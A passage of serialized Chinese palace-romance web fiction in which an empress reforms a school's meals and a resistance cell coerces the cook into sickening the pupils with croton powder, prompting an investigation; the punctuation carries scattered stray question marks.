林臻一直站在她身侧,?目光温柔地注视着她与孩子们的互动。 他看到她脸上那种发自内心的、近乎母性的光辉,?心中爱意更浓。 他知道,?她的铁血背后,?藏着的是对这片土地及其未来深深的期望**。 “陛下您真好看,像画里的仙女一样。”一个胆大的男孩,看着慕容嫣身上华美的衣裙,忍不住说道。 慕容嫣闻言,?先是一怔,?随即忍俊不禁,?笑靥如花。她转过头,?对林臻眨了眨眼,?俏皮地低语道?:“夫君你听,连小孩子都夸我呢,看来我这身裙子没白穿。” 林臻失笑,?凑近她耳边,?用只有两人能听到的声音说?:“在为夫心中,嫣儿何时何地都是最美的。” 慕容嫣脸颊微红,?娇嗔地轻轻捶了他一下:“油嘴滑舌” 两人这自然而亲昵的互动,落在孩子们眼中,更觉亲切。 连一旁的老博士和官员,也面露欣慰的笑容。 整个教室充满了温馨愉快的气氛。 在学堂停留了约半个时辰,赏赐了博士和学堂一些笔墨书籍后,慕容嫣与林臻才准备离开。 孩子们依依不舍地送到学堂门口。 慕容嫣站在学堂门前的石阶上,?回望这所崭新的学堂,?以及那些眼中已种下新文化种子的孩子们,?心中充满了成就感。 她对林臻说道,?语气坚定?:“夫君你看,这才是真正的征服,让他们的下一代从心里认同我们,比刀剑更有效。” “嫣儿所言极是。”林臻颔首,“文化同源,方是长治久安之本。” 两人相视一笑,阳光洒在他们身上,也洒在身后那所象征着希望与未来的学堂上。 就在慕容嫣转身,?准备步下石阶的刹那—— 动作带着视察圆满结束后的轻松与展望未来的豪情! 那在学堂地面铺陈、沾染了书香与春日气息的五丈墨金色拖尾被带动,?唰啦一声,?拂过青石台阶?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在明媚春光下如同文明之火般璀璨燃烧的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同启蒙之光般耀眼而温暖的金芒,那光芒充满了开创、教化与对未来的无限期许,尊贵、辉煌,且带着一种将文明薪火相传、泽被后世的深远抱负与博大胸怀! 这惊鸿一瞥,是对她文治方略最华丽的诠释。 裙摆落下,将那片充满希望的金光掩盖。 慕容嫣与林臻携手,?在众人的恭送下,?登上车驾,?离开了启明学堂。 车辇内,慕容嫣慵懒地靠在林臻肩头,?把玩着他的手指?:“夫君。等这些孩子长大了。这里就真正是我们的地方了。” “嗯,都是嫣儿的功劳。”林臻搂紧她,?柔声道。 车外,春光明媚,学堂内的书声依旧朗朗。 ? 第1010章 这个厨子找死 自那日视察“启明学堂”归来后,慕容嫣心情颇佳 晚膳时,她与林臻在行宫暖阁内对坐用膳,?菜肴精致,?气氛温馨。 她?只穿着贴身的神凤降世裙。 ?神凤降世裙在夜晚温暖的烛光下,褪去了白日的华光,更显其作为寝衣的柔软与亲密。? 极致玄黑的苏锦底料吸吮着烛火的暖意,色泽温润,织入的金色棉绒与真金线流淌着蜂蜜般柔和的光泽。 ?睡裙之上,那只擎天巨凤的图案,在放松休憩时,敛去了所有锋芒,宛如栖息在爱巢中的凤凰,安详而满足。? 宽大的喇叭袖一只软软垂在案边,袖口金线流苏拂过地毯,她左手拇指上的墨玉扳指在执箸时泛着莹润的光。 那长达五丈的苏锦拖尾,?在暖阁柔软的地毯上,?铺陈得极其随意,?一部分堆在坐榻旁,?一部分蜿蜒至食案下,?甚至有几缕,?搭在了林臻的脚边,?形成一种私密空间中全然的、信赖的凌乱。? 棉质的亲肤与睡裙的舒适,让她可以完全放松下来。 慕容嫣夹起一筷嫩笋,?放入林臻碗中,?凤眸弯弯,?带着笑意?:“夫君,今日学堂那些孩子真是可爱,读起书来有模有样的,朕瞧着心里欢喜。” 林臻含笑接过,?又为她舀了一勺她爱吃的蟹粉豆腐:“嫣儿喜欢便好。推行同文,泽被深远,这些孩子将来必成栋梁。” “嗯!”慕容嫣用力点头,?像个小女孩般雀跃,“朕明日还想再去看看!这次多带些好玩的好吃的去,嗯,带些精巧的九连环、孔明锁给他们玩,再让御膳房做些更可爱的动物点心,夫君你说好不好?” 她说着,?放下筷子,?伸手拉住林臻的衣袖,?轻轻摇晃,?眼中满是期待。 林臻看着她娇憨的模样,?心中柔软,?自然满口答应:“好,都依你。明日为夫陪你一同去,正好也看看他们的骑射启蒙课是否安排妥当。” 得到肯定,慕容嫣心满意足,?晚餐都多用了半碗饭。 餐后,她甚至兴致勃勃地拉着林臻,?一起去库房挑选明日要带的玩具,?那长长的拖尾在身后欢快地摆动,?在寂静的宫道上拖曳出窸窣的声响。 第二天近午时分,慕容嫣与林臻再次轻车简从来到了启明学堂。 与昨日上午的书声琅琅不同,此时正值午膳时间,学堂的饭堂里飘出阵阵饭菜香气,孩子们正排队领取餐食。 慕容嫣?长发用一根简单的白玉簪绾起,?未戴过多首饰。 林臻依旧是一身便于行动的常服。 两人没有惊动太多人,直接来到了饭堂外。 慕容嫣脸上还带着昨日残留的愉悦笑容,?她想看看孩子们吃得怎么样,?或许还能给他们一个惊喜。 然而,当她透过窗户,?看到孩子们碗里的食物时,?脸上的笑容瞬间凝固了。 只见每个孩子碗里,只有小半碗粗糙的粟米饭,饭上盖着几根不见油星的咸菜,外加一碗清澈见底、几乎能数出米粒的稀粥。 几个年纪小些的孩子,正皱着眉头,艰难地吞咽着那干硬的饭粒。 慕容嫣的凤眸骤然眯起,?一股寒意自她身上弥漫开来。 她推开饭堂的门,?走了进去。 饭堂内原本有些嘈杂的声音瞬间消失,所有孩子和负责分餐的杂役都惊恐地望向来人。 林臻紧随其后,?眉头也微微蹙起。 慕容嫣走到一个正低头扒饭的小男孩面前,?弯下腰,?声音平静,?却带着山雨欲来的压迫感:“孩子,告诉朕,你们平日就吃这些?” 小男孩吓得手一抖,筷子掉在桌上,结结巴巴地说:“回回陛下,平日都是这些,有时咸菜也没有。” 慕容嫣直起身,?目光扫过整个饭堂,?看到孩子们碗中如出一辙的简陋餐食,?她的脸色阴沉得能滴出水来。 她昨日看到孩子们读书时的欣喜,?与此刻所见景象,?形成了尖锐的对比?! 她投入大量资源兴办学堂,?难道就是为了让孩子们在这里吃猪食般的饭菜??! “厨子何在?!”慕容嫣猛地转身,?声音冰冷刺骨,?如同寒冬腊月的北风,?瞬间刮遍了整个饭堂。 那迤逦在地的墨金色拖尾因她骤然转身,?猛地拂过地面,?带起一阵冷风。 一个穿着油腻围裙、身材肥胖的厨子连滚爬爬地跑过来,扑通一声跪倒在地,浑身筛糠般颤抖:“陛陛下,小人小人在。” 慕容嫣居高临下地看着他,?凤眸中燃烧着怒火?:“朕问你!学堂每日拨付的膳食银两是多少?!为何孩子们的饭食如此粗劣?!说!” 厨子吓得魂飞魄散,磕头如捣蒜:“陛下息怒!陛下息怒!银两是按定额拨付的只是如今春荒刚过,粮价仍高,城中储粮也有限度,小人小人也是巧妇难为无米之炊啊,只能先紧着让孩子们吃饱,这这菜色就顾不上了。” 他的声音带着哭腔,?却也道出了几分实情。 “巧妇难为无米之炊?”慕容嫣怒极反笑,?那笑声却让人不寒而栗,“好一个巧妇难为无米之炊!朕将如此重要的学堂交于尔等,尔等便是这般敷衍了事?!粮食有限?朕怎么听说,安州官仓的存粮足以支撑到秋收!即便粮价高,难道朕拨付的银两,连让孩子们吃上一顿有油水的饭菜都不够吗?!恐怕是有人中饱私囊,克扣了孩子们的嚼用吧!” 她的话语,?字字如刀,?吓得那厨子和闻讯赶来的学堂博士、管事跪了一地,?连连磕头求饶。 林臻站在慕容嫣身侧,?并未出声,?但他的沉默,?无形中更增添了压力。 他知道,?慕容嫣此刻的愤怒,?并非无理取闹。 慕容嫣深吸一口气,?强压下立刻将这些人拖出去砍了的冲动。 她走到饭堂中央,?目光扫过那些吓得不敢吃饭、睁着惊恐大眼睛望着她的孩子们,?心中的怒火渐渐被一种更深沉的情绪所取代——责任,?与心痛。 她转过身,?面对跪伏在地的众人,?声音恢复了平静,?却带着不容置疑的威严,?如同最终的法槌落下?: “听着。”她一字一顿地说道,“孩子是未来的根基。教育是国家的命脉。朕可以容忍暂时的困难,可以忍受边关的烽火,但绝不允许任何人,以任何理由,亏待了这些正在读书识字、承载着未来的孩子!不能苦孩子!不能穷教育!这话,朕只说一遍!” 她顿了顿,?目光锐利如鹰,?继续道?:“从即日起,学堂所有孩童膳食标准,按朕亲卫营辅兵标准执行!每日必须见荤腥,米饭管饱,菜色每日更换!所需银两粮秣,由都护府府库直接拨付,专人督办,若有半分克扣,朕诛他九族!” “还有你们,”她看向那些博士和管事,“教书育人,不仅仅是教他们识字!更要关心他们的冷暖温饱!若连这点都做不到,要你们何用?!今日之事,朕暂不深究,但若再有下次,尔等提头来见!” “臣等遵旨!谢陛下隆恩!”众人如蒙大赦,磕头谢恩,背后却已被冷汗湿透。 慕容嫣说完,?不再看他们。 她走到那个最初被她问话的小男孩面前,?蹲下身,?脸上的寒冰瞬间融化,?露出极其温柔的笑容,?从袖中??取出几块用金箔包着的、造型可爱的宫廷点心,?放在他手里?: “乖,先吃点这个垫垫肚子。朕向你保证,从明天开始,你们每天都能吃到香喷喷的饭菜。” 小男孩看着手中精致的点心,又看看慕容嫣温柔的脸庞,眼眶一红,用力点了点头。 第1011章 反清复明? 慕容嫣站起身,?对林臻伸出手,?脸上带着一丝疲惫,?但更多的是不容动摇的坚定?:“夫君,我们回去吧,朕有些累了。” 林臻立刻上前,?紧紧握住她的手,?柔声道?:“好,我们回去。嫣儿做得对,此事关乎国本,绝不能含糊。” 慕容嫣靠在他身上,?轻轻?“嗯”了一声。两人相携向外走去。经过那跪地的厨子身边时,慕容嫣脚步未停,?只冷冷地丢下一句话: “朕给你一天时间整改。明日此时,朕若再见不到像样的饭菜,你就不用再做饭了。” 厨子吓得瘫软在地。 走出饭堂,来到学堂庭院,午后的阳光有些刺眼。慕容嫣心情沉重,?无意久留。 就在她准备登上车驾,?转身的刹那—— 动作带着怒意未消却又决意已定的利落! 那在饭堂粗糙地面和庭院尘土中拖曳而过、沾染了世俗烟火气的五丈墨金色拖尾被猛地带起!华贵的锦缎拂过泥土,?唰啦一声,?扬起细微的尘埃?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在正午炽烈阳光下闪烁着如同雷霆之怒般耀眼而凛然光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同烈日灼心般炽热而威严的金芒,那光芒充满了不容侵犯的底线、对未来的绝对守护以及一种铁腕之下蕴含的深切期望,尊贵、辉煌,且带着一种斩钉截铁、不容置疑的决断力! 这惊鸿一瞥,是她作为统治者与保护者最直接的宣言。 裙摆落下,将那片凛然的金光与坚定的承诺一同掩盖。 慕容嫣与林臻登上车驾。 车帘放下,隔绝了外面的世界。慕容嫣将头靠在林臻肩上,?闭上眼,?轻声说?:“夫君,我是不是太凶了?” 林臻搂住她,?轻抚她的后背?:“不,嫣儿是真正的仁君。唯有雷霆手段,方显菩萨心肠。你今日所为,是为万千孩童争一个未来,功德无量。” 慕容嫣在他怀里蹭了蹭,?找到了熟悉的安心感。 车驾缓缓启动,返回行宫。 夜。 白日的喧嚣与帝威已然散去,安州城陷入沉睡,唯有打更人的梆子声在寂静的街道上回荡。 白日里书声琅琅的“启明学堂”,此刻漆黑一片,只有后院厨房旁的一间小杂物房里,还透出一丝微弱摇曳的烛光。 杂物房内,空气混浊,弥漫着柴火、油烟和一丝若有若无的霉味。 一盏豆大的油灯放在一个倒扣的木桶上,昏黄的光晕勉强照亮了围坐的三人。 正中一人,正是白日里被慕容嫣吓得魂不附体的胖厨子,李三。 他此刻依旧面色惨白,冷汗浸湿了内衫,肥硕的身体微微颤抖,眼神涣散,仿佛还未从女帝那雷霆震怒中回过神来。 坐在他对面的,是两名身着粗布短褐、作寻常百姓打扮的男子。 为首一人约莫四十岁年纪,面容精悍,皮肤黝黑,眼角有一道深刻的刀疤,眼神锐利如鹰隼,透着一股久经沙场的戾气和决绝。 他叫朴志雄,曾是高句丽军中的一名校尉,安州城破后,他侥幸逃脱,并未像许多同袍那样战死或投降,而是转入地下,成了抵抗组织“复国义帜”在安州一带的小头目。 另一人年轻些,是他的副手,名叫金顺哲,神情警惕,不时侧耳倾听门外的动静。 “李三!”朴志雄的声音低沉沙哑,带着不容置疑的压迫感,打破了令人窒息的沉默,“白日里的事情,我们都听说了。慕容嫣那个妖女,亲自来了?” 李三浑身一激灵,仿佛被鞭子抽中,哭丧着脸,带着哭腔道:“朴朴头领是是啊!太可怕了!那眼神像刀子一样!差点就把我咔嚓了!” 他用手比划了一个抹脖子的动作。 金顺哲冷哼一声:“瞧你那点出息!若不是我们提前得到风声,让你在伙食上做些手脚,能引得那妖女亲自前来?这正是我们想要的效果!” 朴志雄抬手制止了金顺哲,目光死死盯住李三: “效果?效果就是她现在下令,按圣徽辅兵的标准供应伙食,还要府库直接拨付,专人督办!李三,我们让你暗中克扣粮饷,让孩子们吃得差些,是为了激起民怨,让那些送孩子来读书的父母看看,所谓‘皇化’、‘恩典’之下,他们的孩子过的是什么猪狗不如的日子!是为了让这些孩子从小就对圣徽心生怨恨!而不是让你把事情搞到台面上,引来慕容嫣的关注和严令!现在倒好,她一句话,我们之前的努力全白费了!以后这学堂,反而要吃得更好!” 他的语气越来越严厉,眼中的怒火几乎要喷薄而出。 这学堂,是他们眼中钉,肉中刺。 慕容嫣推行汉语教育,就是要从根本上断绝高句丽的文化和血脉传承,让下一代彻底忘记故国,成为圣徽的顺民。 这是比刀剑屠城更狠毒、更长远的“绝户计”。 他们无力阻止学堂的建立,只能想方设法从中破坏,让孩子们厌恶这里,让父母对圣徽的“恩典”失望。 李三吓得噗通一声跪倒在地,连连磕头: “朴头领息怒!息怒啊!小的小的也是没办法啊!谁能想到谁能想到陛下不,那妖女会突然来视察还偏偏赶在饭点!小的小的已经尽量做得隐蔽了可可那些孩子天天吃糠咽菜,面黄肌瘦的,明眼人一看就知道有问题啊。” “废物!”金顺哲忍不住骂道,“一点小事都办不好!” 朴志雄深吸一口气,强压下掐死这个蠢货的冲动。 他知道,李三这种小角色,胆小怕事,成事不足败事有余,但眼下,学堂厨房这个位置至关重要,暂时还离不开他。 “起来!”朴志雄低喝道,“现在说这些已经没用了。慕容嫣既然下了严令,明日的伙食必须改善,这是底线,你不能再动手脚,否则第一个掉脑袋的就是你!” 李三如蒙大赦,哆哆嗦嗦地爬起来:“是是是,小的明白,明日一定一定让孩子们吃好。” “吃好?”朴志雄嘴角勾起一抹阴冷的笑意,“谁说要让他们一直吃好了?慕容嫣能来一次,还能天天来盯着不成?风头过去,府库拨付的银钱粮秣,该克扣的,还是要克扣!不过,手段要更隐蔽些。” 他凑近李三,压低了声音,如同毒蛇吐信:“听着,以后采购,可以虚报价格,以次充好。送来的米粮,掺入少量砂石陈米,不易察觉。肉食蔬果,多用些快要变质或者品相差的,只要吃不死人就行。账目要做平,应付核查。最重要的是。” 朴志雄眼中闪过一丝恶毒的光芒:“可以在饭菜里,偶尔加一点点‘料’。” 李三浑身一颤,惊恐地抬头:“‘料’?朴头领您是说下毒?这可是杀头的大罪啊!会吃死人的!” “蠢货!”金顺哲低斥道,“谁让你下剧毒了?找些巴豆、苦楝皮之类的东西,少量掺入,让孩子们吃了腹泻、呕吐,或者嘴里发苦,食欲不振即可。次数不用多,隔三差五来一次,让学堂里总是有孩子生病,让父母觉得这里风水不好,或者圣徽的饭菜不干净,克人!明白吗?要让他们从心里抵触这里!” 李三脸色惨白,冷汗涔涔而下。这比单纯克扣粮饷风险大得多,一旦被发现他不敢想象后果。 朴志雄看出他的恐惧,语气放缓,却带着更深的威胁:“李三,别忘了,你的老婆孩子,还在我们手里。你若乖乖听话,事成之后,复国成功,你就是功臣,荣华富贵享之不尽。你若敢背叛,或者泄露半句哼,后果你应该清楚。” 李三想起被控制在义帜手中的家人,顿时面如死灰,最后一点反抗的念头也烟消云散。 他瘫软在地,有气无力地应道:“小的小的知道了,一切一切听从头领安排。” “很好。”朴志雄站起身,阴影笼罩着李三,“记住,我们做这些,不是为了私利,是为了高句丽!为了不让我们的子孙后代,数典忘祖,变成圣徽的狗!慕容嫣想用糖衣炮弹腐蚀我们的根,我们就偏要在她的糖里掺上沙子!让她这‘同文’大业,处处荆棘!” 他又交代了几句细节,比如如何与外界联络,如何传递消息等,便示意金顺哲吹熄油灯。 两人如同鬼魅般,悄无声息地打开房门,融入外面的夜色中,留下李三一个人瘫在黑暗中,浑身冰冷,仿佛刚从鬼门关走了一遭。 杂物房重归黑暗和死寂,只有李三粗重而恐惧的喘息声。 窗外,月色凄冷,映照着这座看似平静,实则暗流汹涌的学堂。慕容嫣白日里那雷霆万钧的“不能苦孩子,不能穷教育”的旨意,在这深沉的夜色中,已然被顽固的抵抗势力,悄然撕开了一道阴险的裂口。 文化的征服与反征服,在这看似不起眼的学堂厨房里,正以一种更隐蔽、更残酷的方式进行着。 第1012章 下毒! 圣徽三年,四月二十。 距慕容嫣严令改善学堂伙食已过去五日。 表面上看,启明学堂的膳食品质有了天翻地覆的变化。 每日清晨,都有专人从都护府指定的粮店、肉铺送来新鲜的米粮、蔬菜和肉食,账目清晰,验收严格。 厨子李三战战兢兢,严格按照新标准烹制,餐桌上终于见到了油光闪闪的炒菜、香喷喷的炖肉和雪白饱满的米饭。 孩子们的脸上渐渐有了红润,饭堂里也多了欢声笑语。 然而,在这看似步入正轨的表象之下,一股阴毒的暗流正在悄然涌动。 这日午后,天空阴沉,飘着细密的雨丝。 学堂后院,厨房旁边的柴房里,光线昏暗,空气中弥漫着潮湿的柴草味和一丝若有若无的、苦涩的植物气味。 李三鬼鬼祟祟地溜了进来,?反手轻轻掩上门,?心脏砰砰直跳,?手心全是冷汗。 他从怀里小心翼翼地掏出一个用油纸包得严严实实的小包。 打开油纸,里面是一些灰褐色、带着白色斑点、被研磨得粗细不均的粉末。 这是巴豆粉,是昨日深夜,金顺哲如同幽灵般潜入他家中,?塞给他的。 金顺哲当时面目狰狞地威胁他,?必须在今日的午膳中,?找机会将这东西混入菜里,?分量不必多,?够让一部分孩子腹痛腹泻即可。 金顺哲强调,?这是朴志雄的命令,?目的是制造恐慌,?让家长们觉得学堂“不干净”?,?甚至怀疑圣徽提供的食物有问题。 李三看着那包粉末,?手抖得厉害。 他想起慕容嫣那冰冷的目光和诛九族的威胁,?恐惧得几乎要瘫软。 但一想到被控制在义帜手中的老婆孩子,?他又不得不硬起头皮。 他知道,?自己已经没有退路了。 “造孽啊真是造孽啊”李三喃喃自语,?脸上满是痛苦和挣扎。 这些孩子是无辜的,他们只是想吃顿饱饭,好好读书。 可是他别无选择。 时间紧迫,午膳即将开始。 李三深吸一口气,?强行镇定下来。 他仔细盘算着下手的时机和对象。直接下在米饭或大锅菜里风险太大,容易大面积中毒,目标太明显,追查起来他也跑不掉。 必须找一个更隐蔽的方式。 他想起,?今天中午有一道菜是肉末炒豆角。 豆角需要先焯水再炒,而焯水后沥干的那道工序,相对容易做手脚。 而且,豆角本身如果处理不当,也可能引起轻微不适,可以混淆视听。 打定主意后,李三将巴豆粉重新包好,?藏进袖袋。 他装作若无其事地回到热气腾腾的厨房。 帮厨的杂役正在忙碌,大锅里炖着骨头汤,另一个灶上正烧着水准备焯豆角。 “豆角洗好了吗?水快开了!”李三尽量用平日的语气喊道。 “好了好了,李师傅!”一个年轻杂役将一篮子翠绿的豆角端过来。 水开了。杂役将豆角倒入锅中焯水。 片刻后,豆角变色变软,被捞出,放在一个大竹筐里沥水。 就是现在! 李三心脏提到了嗓子眼。 他趁杂役转身去拿其他食材的间隙,?迅速凑到竹筐边,?假装检查豆角的熟度,?右手飞快地伸入袖中,?掏出油纸包,?用指甲挑开一个小口,?将大约三分之一的巴豆粉,?均匀地、快速地撒在热气腾腾、湿漉漉的豆角上?! 粉末遇到水汽,?迅速粘附在豆角表面,?颜色也与豆角相近,?不仔细看,?极难察觉?! 做完这一切,李三迅速将油纸包塞回袖袋,?退后一步,?额头上已满是冷汗。他强作镇定,?对杂役吩咐道?:“沥干点,等下炒的时候多放点油。” “知道了,李师傅。”杂役不疑有他,继续忙碌。 接下来的烹饪过程,李三亲自掌勺,?他将那些拌了巴豆粉的豆角,?与肉末和其他配料一起下锅爆炒。 高温和油脂,?进一步掩盖了巴豆粉可能存在的异味。 出锅时,一盘色香味俱全的肉末炒豆角便完成了。 午膳时间到。 孩子们像往常一样排队打饭。 今天的主食是白米饭,配菜有红烧肉、肉末炒豆角和一碟清炒时蔬,还有一碗蛋花汤。看起来丰盛无比。 李三站在打饭窗口后,?眼神躲闪,?不敢看那些兴高采烈的孩子。 他心里默默祈祷,?希望药性不要太强,?希望只让少数几个孩子有点不舒服就好。 孩子们领到饭菜,开心地回到座位大快朵颐。 那盘肉末炒豆角很受欢迎,尤其是里面的肉末,很快就被抢光了,豆角也吃了不少。 起初,一切正常。 饭堂里充满了咀嚼声和孩子们的嬉笑声。 然而,约莫过了半个时辰,就在午休即将开始时,异状开始出现。 最先是一个坐在角落的、约莫七岁的小男孩,他突然放下饭碗,捂着肚子,脸色发白,额头上冒出冷汗。 “先生,我肚子好痛。”他虚弱地说道。 紧接着,旁边一个扎着羊角辫的小女孩也开始哭闹起来:“娘,呜呜,肚子疼,想拉粑粑。” 如同连锁反应,饭堂里接连有孩子出现腹痛、恶心的症状。 有的孩子开始呕吐,将刚吃下去的美味饭菜吐了一地;有的孩子则迫不及待地冲向茅房。 一时间,饭堂里哭闹声、呕吐声、惊呼声响成一片,乱作一团。 学堂的博士和杂役们慌了神,连忙上前查看。 老博士经验丰富,一看这情形,脸色顿时大变:“这是中毒之象!快!快去请郎中!快去禀报官府!” 李三躲在厨房里,?听着外面的混乱和哭喊,?脸色惨白如纸,?浑身抖得像筛糠一样。 他没想到药效发作得这么快,?波及的孩子也远比他预想的多?! 强烈的负罪感和巨大的恐惧,?几乎要将他吞噬。 很快,郎中和官府的人先后赶到。 郎中诊断后,确认是误食了泻药所致,所幸分量不重,孩子们虽上吐下泻,但暂无生命危险,需服药调理。 官府的人则开始严密排查食物来源和烹饪过程。 李三被单独叫去问话。 他强忍着恐惧,?一口咬定所有食材都是按规矩采购和烹饪的,?自己绝未做任何手脚。 他甚至故意引导,?说会不会是豆角没炒熟,?或者有人送来的食材本身有问题。 调查一时陷入了僵局。 但学堂中毒事件,却像一阵阴风,迅速在安州城内传开。 刚刚对圣徽统治和新学堂建立起来的一点好感和信任,瞬间被蒙上了一层厚厚的阴影。 家长们闻讯赶来,看到孩子痛苦的模样,心疼、愤怒、猜疑的情绪交织在一起。 各种流言蜚语开始滋生——“圣徽的饭食不干净”、“学堂风水不好克孩子”、“是不是有人故意下毒?” 柴房里那包剩下的巴豆粉,如同一个恶毒的诅咒,深藏在李三的袖袋中,也深藏在这起事件的背后。 朴志雄等人的阴谋,在这绵绵阴雨下,暂时得逞了。 而无辜的孩子们,则成了这场无声战争中,最先受到荼毒的牺牲品。 学堂上空,原本渐渐散去的阴云,再次聚拢,且更加浓重。 第1013章 太巧了,不可能是普通的中毒 圣徽三年,四月二十一,清晨。 安州行宫内,气氛凝重。 昨日午后启明学堂突发孩童集体中毒的消息,如同一声惊雷,在黎明时分传到了慕容嫣的耳中。 她昨夜批阅奏章至深夜,?刚刚睡下不久,?闻讯后,?立刻披衣起身,?凤眸中睡意全无,?取而代之的是冰冷的怒意与一丝不易察觉的凝重。 “备驾!去学堂!”慕容嫣的声音斩钉截铁,?不容置疑。 她甚至来不及仔细梳妆,?只让宫女匆匆为她绾了个简单的发髻,?插上那支惯用的金凤步摇。?身上依旧是那身神凤降世裙。 ?那件黑金貂皮披肩?此刻也被取出,?披在了睡裙之外,?绒毛在清晨微光中泛着幽暗的光泽。 她脸色阴沉,?快步走出寝殿,?那长达五丈的拖尾在身后急促地拖曳,?拂过冰凉的地板,?发出沙沙的声响。 ?神凤降世裙在这突如其来的紧急事件中,展现出一种不同于往日的气质。 ?极致玄黑的苏锦底料在黎明晦暗的光线下,更显其深不见底的沉静与压抑的怒火,织入的金色棉绒与真金线则在内敛中透出锐利的锋芒,如同暴风雨前乌云边缘渗出的冰冷电光。 ?睡裙之上,那只擎天巨凤的图案,在疾行时,仿佛振翅欲飞,带着审视与裁决的凛然之气。? 宽大的喇叭袖被大氅的袖口所遮掩,但她左手拇指上的墨玉扳指,在她紧握成拳时,?凸显出紧绷的轮廓。 那长达五丈的苏锦拖尾,?因她步履急促,?在身后未能平铺,?而是被匆忙的步履带动,?在宫道长廊上蜿蜒扭动,?时而掠过廊柱,?时而拂过门槛,?甚至沾染了清晨台阶上的露水,?形成一种应对突发变故时特有的、带着焦灼与决断的凌乱。 这种凌乱,?映射出她内心的不平静,?也彰显了事态的紧急。 ?棉质的柔软此刻被忽略,?睡裙的称谓在此刻充满了反差,凸显的是其主人此刻铁腕调查的决心。 林臻早已得到消息,?在殿外等候。他一身墨色劲装,?外披同色大氅,?神色肃穆。见到慕容嫣出来,他立刻上前,?自然地握住她微凉的手,?低声道?:“嫣儿,莫急,事情已然发生,冷静处置为上。” 慕容嫣感受到他掌心传来的温度,?心中的焦躁稍稍平复。她反手握紧他,?凤眸中寒光闪烁?: “夫君,我怎能不急?昨日才严令改善伙食今日就出了这等事!这是公然挑衅!是打朕的脸!若是那些孩子有个三长两短朕绝不轻饶!” 她的声音带着压抑的怒火。 “我明白。”林臻沉稳地点头,“我已命人控制现场,所有相关人员不得离开。当务之急是查明原因,安抚人心。” 车驾早已备好。慕容嫣与林臻同乘一车,?疾驰前往启明学堂。 车内,慕容嫣靠在林臻肩头,?闭目凝神,?但紧蹙的眉头显示她内心并不平静。 林臻轻轻揽着她,?无声地给予支持。 抵达学堂时,天色已亮。 学堂内外戒备森严,气氛紧张。 郎中和官员早已候着,见到帝后亲临,连忙跪迎。 中毒的孩童经过昨夜诊治,大部分症状已缓解,但仍有几个体弱的躺在宿舍休息,脸色苍白。 慕容嫣面色冷峻,?径直走向饭堂和后厨区域。 她先是去探望了卧病在床的孩子,?看到他们虚弱的样子,?眼中的寒意更盛,?但语气却极力保持温和,?亲自安抚了几句,?承诺必定查明真相。 随后,她来到厨房。厨房已被封锁,昨日的食材样本、炊具、残羹冷炙都被封存待查。 厨子李三和所有帮厨杂役跪了一地,浑身发抖。 慕容嫣没有立刻发作,?也没有动用刑罚。 她站在厨房中央,?目光如鹰隼般扫过每一个角落,?最后落在跪在最前面的李三身上。 “李三,”慕容嫣开口,?声音平静,?却带着无形的压力,“将昨日午膳的准备过程,从食材入库到分发上桌,每一个环节,给朕详细道来。不得有丝毫遗漏。” 李三吓得魂飞魄散,?头磕得砰砰响,?结结巴巴地开始叙述。 他按照事先想好的说辞,?强调所有食材都是按规矩采购、验收,?烹饪过程也与往日无异,?绝无任何异常。 他甚至故意提到豆角有时不易熟,?或许是焯水时间不够云云,?试图将责任引向意外。 慕容嫣静静地听着,?不时打断他,?询问一些细节,?比如?:“昨日送来的肉可新鲜?豆角是谁清洗的?焯水后沥了多久?炒菜时,可有离开过灶台?” 她的问题细致入微,?直指关键环节。 李三冷汗直流,?拼命圆谎,?但在慕容嫣那仿佛能洞悉一切的目光注视下,?他的言语难免出现些许漏洞和前后矛盾之处。 慕容嫣并未点破,?只是默默记下。 问完李三,她又依次询问了其他杂役,?核对细节。 整个过程,她表现得异常冷静和耐心,?完全没有想象中的雷霆震怒。 这反而让李三等人更加恐惧,?仿佛暴风雨前的宁静。 调查持续了近一个时辰。 慕容嫣甚至亲自查看了封存的食材和炊具,?弯腰仔细检查灶台和地面,?那墨金色的拖尾不可避免地在沾有油污的厨房地面上拖过,?沾染了污渍,?但她浑然不顾。 最后,慕容嫣站直身体,?对随行的官员下令?:“将所有接触过昨日午膳的人员,暂时隔离看管,非经朕允许,不得与外人接触。继续严查食材来源,扩大搜查范围,看看是否有可疑人物近日在学堂附近出没。” 她的命令条理清晰,?并未武断地认定是人为投毒,?但也绝不放过任何可能性。 处理完这些,慕容嫣才与林臻走出厨房,?来到学堂庭院。 晨光熹微,映照着两人凝重的身影。 “嫣儿,你似乎并未完全相信那厨子的话?”林臻看着慕容嫣,?轻声问道。 他了解她,?若她真的认为只是意外,?绝不会如此大动干戈,?亲自盘问得这般仔细。 慕容嫣深吸一口清晨微凉的空气,?凤眸微眯,?眼中闪过一丝睿智的光芒: “夫君你不觉得太巧了吗?朕前脚刚严令改善伙食,后脚就出事而且,郎中断定是泻药所致,并非豆角未熟那么简单。那李三,言语闪烁,看似惶恐,眼神深处却有种被胁迫的绝望。此事,绝非意外那么简单。” 林臻颔首?:“与我所想一致。此事背后,恐有蹊跷。或许是有人不愿见到这学堂办好,不愿见到孩子们真正归心。” 第1014章 被朕抓到,凌迟处死 慕容嫣眼中寒芒一闪?: “不管是何人,敢对孩童下手,其心可诛!朕定要将他揪出来,碎尸万段!” 她说着,?身上散发出一股凛冽的杀气,?但很快又收敛起来。 她转过身,?面向林臻,?脸上露出一丝疲惫和依赖,?伸手拉住他的衣袖,?声音软了下来?: “夫君,此事恐怕要辛苦你了,明面上的调查朕来做。但暗地里需要你的人去查。那些见不得光的老鼠,总会有踪迹的。” 林臻握住她的手,?眼中满是温柔与坚定?:“放心,嫣儿。我这就安排‘夜枭’暗中侦查,重点盯住李三及其家眷,还有近日与学堂有接触的可疑之人。只要他们动了,就一定会留下尾巴。” 慕容嫣心中一暖,?将头轻轻靠在他胸前?:“嗯,有夫君在,我就安心了,这些宵小之辈休想得逞。” 她的语气中,充满了对林臻的信任与依赖。 两人在晨曦中相拥片刻,无形的网已然撒下。 片刻后,慕容嫣直起身,?整理了一下情绪,?对林臻道?:“夫君,我们去看看孩子们吧,总要给他们一个交代。” 林臻点头,?与她并肩走向学生宿舍。 就在慕容嫣转身,?准备离开庭院的刹那—— 动作带着调查暂告段落、决心已定的利落! 那在厨房污渍地面和庭院尘土中拖曳而过、沾染了现场痕迹的五丈墨金色拖尾被猛地带起! 